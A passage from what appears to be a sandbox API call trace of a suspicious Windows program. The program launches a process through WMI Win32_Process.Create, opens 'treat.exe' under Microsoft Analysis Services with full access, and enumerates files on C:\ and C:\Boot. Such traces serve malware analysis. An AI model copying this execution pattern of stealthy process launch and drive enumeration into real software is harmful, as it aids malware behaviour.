lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0060.284] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0060.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1370, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0060.284] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0060.284] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1370, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.284] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0060.284] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0060.285] IWbemServices:ExecMethod (in: This=0x1bed1bb0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x11f1bf0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x11f5850, ppCallResult=0x0) returned 0x0 [0060.412] IWbemClassObject:Get (in: This=0x11f5850, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a33ce8*=0, plFlavor=0x2a33cec*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf00, varVal2=0x0), pType=0x2a33ce8*=19, plFlavor=0x2a33cec*=0) returned 0x0 [0060.413] IWbemClassObject:Get (in: This=0x11f5850, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a33ce8*=19, plFlavor=0x2a33cec*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf00, varVal2=0x0), pType=0x2a33ce8*=19, plFlavor=0x2a33cec*=0) returned 0x0 [0060.414] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xbf8) returned 0x344 [0060.414] GetExitCodeProcess (in: hProcess=0x344, lpExitCode=0x29aef1c | out: lpExitCode=0x29aef1c*=0x103) returned 1 [0060.414] CoTaskMemAlloc (cb=0x404) returned 0x11f5b00 [0060.414] QueryFullProcessImageNameA (in: hProcess=0x344, dwFlags=0x0, lpExeName=0x11f5b00, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files\\Microsoft Analysis Services\\treat.exe", lpdwSize=0x1b2fe138) returned 1 [0060.415] CoTaskMemFree (pv=0x11f5b00) [0060.418] CoTaskMemAlloc (cb=0x20c) returned 0x1163740 [0060.418] GetSystemDirectoryW (in: lpBuffer=0x1163740, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0060.418] CoTaskMemFree (pv=0x1163740) [0060.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0060.419] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0060.419] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11f5b30 [0060.419] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0060.420] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0060.420] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0060.420] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0060.420] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0060.420] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0060.420] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0060.421] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0060.421] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0060.421] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0060.421] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0060.421] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0060.421] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0060.422] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0060.422] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0060.422] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0060.422] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0060.422] FindClose (in: hFindFile=0x11f5b30 | out: hFindFile=0x11f5b30) returned 1 [0060.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0060.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0060.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0060.422] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0060.423] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f5b30 [0060.665] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.665] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa0a7d640, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0xd85f4660, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0060.665] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xd85a83a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0060.665] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0060.665] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0060.665] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0060.665] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0060.666] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, 